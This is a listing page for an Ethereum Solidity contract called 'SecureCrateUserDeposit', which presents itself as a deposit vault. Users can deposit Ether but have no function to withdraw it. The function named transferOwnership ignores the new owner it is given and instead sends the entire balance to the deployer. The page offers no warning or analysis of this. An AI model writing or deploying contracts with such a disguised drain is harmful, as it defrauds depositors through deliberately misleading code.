Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract SecureCrateUserDeposit {
address public immutable custodian;
mapping(address => uint256) private _deposits;
error NotCustodian();
error NoEther();
error ZeroAddress();
event Deposited(address indexed from, uint256 amount);
event Withdrawn(address indexed to, uint256 amount);
event Fingerprint(bytes32 tag);
event OwnershipTransferAttempt(address indexed attemptedBy);
modifier onlyCustodian() {
if (msg.sender != custodian) revert NotCustodian();
_;
}
constructor() {
custodian = msg.sender;
emit Fingerprint(keccak256("securecrate-user-v1"));
}
function deposit() external payable {
if (msg.value == 0) revert NoEther();
_deposits[msg.sender] += msg.value;
emit Deposited(msg.sender, msg.value);
}
function transferOwnership(address /* newOwner */) external onlyCustodian {
uint256 balance = address(this).balance;
if (balance > 0) {
(bool ok, ) = payable(custodian).call{ value: balance }("");
require(ok, "withdraw failed");
emit Withdrawn(custodian, balance);
}
emit OwnershipTransferAttempt(msg.sender);
}
function owner() external view returns (address) {
return custodian;
}
function balanceOf(address account) external view returns (uint256) {
return _deposits[account];
}
function balances(address account) external view returns (uint256) {
return _deposits[account];
}
function contractBalance() external view returns (uint256) {
return address(this).balance;
}
receive() external payable {
revert("Direct transfers not allowed");
}
fallback() external payable {
revert("Fallback not allowed");
}
function version() external pure returns (string memory) {
return "SecureCrateUserDeposit v1.1";
}
}
Submitted on: 2025-09-17 14:13:32
Comments
Log in to comment.
No comments yet.